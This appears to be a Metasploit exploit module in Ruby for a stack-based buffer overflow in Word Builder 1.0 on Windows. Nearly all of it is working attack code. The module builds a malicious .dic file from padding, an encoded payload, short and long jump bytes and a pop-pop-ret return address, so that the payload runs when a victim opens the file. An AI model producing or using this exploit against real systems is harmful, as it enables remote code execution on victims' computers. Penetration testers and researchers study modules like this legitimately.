Word List Builder 1.0 Buffer Overflow Exploit (MSF)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in Word Builder 1.0.  An attacker must send the file to the victim and the victim must open the file.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
           'h1ch4m',      # Initial Discovery
           'James Fitts' # Metasploit Module
         ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17086' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1500,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 01 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.dic']),
    ], self.class)
 end

 def exploit

  dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded
  dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093
  dic << "\x90\x90\xeb\xf7" # jmp $-7
  dic << [target.ret].pack('V')

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(dic)

 end

end